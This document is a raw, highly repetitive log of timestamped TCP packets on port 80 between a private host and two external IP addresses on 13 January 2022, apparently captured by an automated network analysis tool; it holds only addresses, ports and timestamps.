Jan 13, 2022 20:51:24.950625896 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.950633049 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.950702906 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.950756073 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.950758934 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.950767994 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.950809002 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.950862885 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.950886011 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.950917959 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.950925112 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.950930119 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.950975895 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.951030016 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.951035976 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.951081991 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.951086044 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.951090097 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.951137066 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.951154947 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.951196909 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.951211929 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.951247931 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.951302052 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.951308966 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.951318979 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.951344967 CET	80	49829	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:24.951401949 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.951436043 CET	49829	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:24.951443911 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.951452017 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.951459885 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.951515913 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.951569080 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.951569080 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.951576948 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.951622009 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.951674938 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.951675892 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.951687098 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.951728106 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.951783895 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.951791048 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.951800108 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.951833963 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.951884031 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.951920986 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.951929092 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.951935053 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.951934099 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.951993942 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.952001095 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.952049017 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.952100039 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.952114105 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.952122927 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.952157021 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.952202082 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.952229977 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.952239037 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.952253103 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.952275991 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.952310085 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.952342033 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.952368021 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.952408075 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.952415943 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.952451944 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.952488899 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.952508926 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.952545881 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.952600956 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.952619076 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.952641010 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.952665091 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.952692986 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.952718019 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.952718973 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.952768087 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.952790976 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.952822924 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.952842951 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.952879906 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.952931881 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.952934027 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.952940941 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.952987909 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.953039885 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.953042984 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.953052044 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.953094959 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.953142881 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.953147888 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.953150034 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.953197002 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.953921080 CET	49829	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:24.953947067 CET	49829	80	192.168.2.5	45.135.233.182
Jan 13, 2022 20:51:24.971076012 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.971136093 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.971141100 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.971194029 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.971232891 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.971262932 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.971267939 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.971292019 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.971350908 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.971354961 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.971385002 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.971388102 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.971407890 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.971441031 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.971482992 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.971534967 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.971565008 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.971605062 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.971659899 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.971714973 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.971718073 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.971772909 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.971779108 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.971831083 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.971847057 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.971851110 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.971889019 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.971908092 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.971946955 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.971949100 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.972006083 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.972062111 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.972064972 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.972069979 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.972115993 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.972136021 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.972167015 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.972167969 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.972222090 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.972229958 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.972275972 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.972325087 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.972328901 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.972332001 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.972385883 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.972387075 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.972445011 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.972450018 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.972500086 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.972517014 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.972553015 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.972606897 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.972609043 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.972613096 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.972672939 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.972676039 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.972723961 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.972770929 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.972775936 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.972779989 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.972835064 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.972870111 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.972889900 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.972903967 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.972939014 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.972946882 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.973001957 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.973010063 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.973059893 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.973067045 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.973113060 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.973162889 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.973169088 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.973218918 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.973220110 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.973273993 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.973320007 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.973323107 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.973328114 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.973381996 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.973424911 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.973428965 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.973431110 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.973484039 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.973535061 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.973536968 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.973540068 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.973587036 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.973632097 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.973638058 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.973639965 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.973697901 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.973742962 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.973747015 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.973750114 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.973804951 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.973851919 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.973855972 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.973893881 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.973949909 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.974003077 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.974014044 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.974018097 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.974051952 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.974060059 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.974112034 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.974114895 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.974164963 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.974169016 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.974217892 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.974225044 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.974277973 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.974280119 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.974334955 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.974380970 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.974385023 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.974386930 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.974437952 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.974481106 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.974484921 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.974493027 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.974546909 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.974591017 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.974596024 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.974600077 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.974653006 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.974657059 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.974713087 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.974762917 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.974765062 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.974770069 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.974817038 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.974867105 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.974872112 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.974872112 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.974925041 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.974931955 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.974977970 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.975020885 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.975024939 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.975030899 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.975078106 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.975085020 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.975135088 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.975162029 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.975178003 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.975189924 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.975240946 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.975244999 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.975298882 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.975307941 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.975353956 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.975374937 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.975404978 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.975419044 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.975457907 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.975465059 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.975498915 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.975511074 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.975557089 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.975588083 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.975615978 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.975647926 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.975697041 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.975699902 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.975701094 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.975752115 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.975754976 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.975805998 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.975809097 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.975862980 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.975899935 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.975908995 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.975918055 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.975970030 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.976003885 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.976012945 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.976023912 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.976068020 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.976075888 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.976130962 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.976219893 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.976233006 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.976269960 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.976273060 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.976274967 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.976326942 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.976327896 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.976383924 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.976399899 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.976438999 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.976439953 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.976486921 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.976504087 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.976543903 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.976545095 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.976596117 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.976644993 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.976666927 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.976706982 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.976725101 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.976735115 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.976782084 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.976787090 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.976836920 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.976886988 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.976895094 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.976906061 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.976942062 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.976949930 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.976999044 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.977050066 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.977050066 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.977081060 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.977092028 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.977103949 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.977153063 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.977163076 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.977206945 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:24.977209091 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:24.977289915 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.010967016 CET	80	49829	45.135.233.182	192.168.2.5
Jan 13, 2022 20:51:25.049279928 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.049310923 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.049333096 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.049355984 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.049379110 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.049384117 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.049401999 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.049407959 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.049426079 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.049448013 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.049448967 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.049454927 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.049474001 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.049495935 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.049509048 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.049515963 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.049520016 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.049520969 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.049546957 CET	80	49825	141.8.194.74	192.168.2.5
Jan 13, 2022 20:51:25.049555063 CET	49825	80	192.168.2.5	141.8.194.74
Jan 13, 2022 20:51:25.049568892 CET	80	49825	141.8.194.74	192.168.2.5
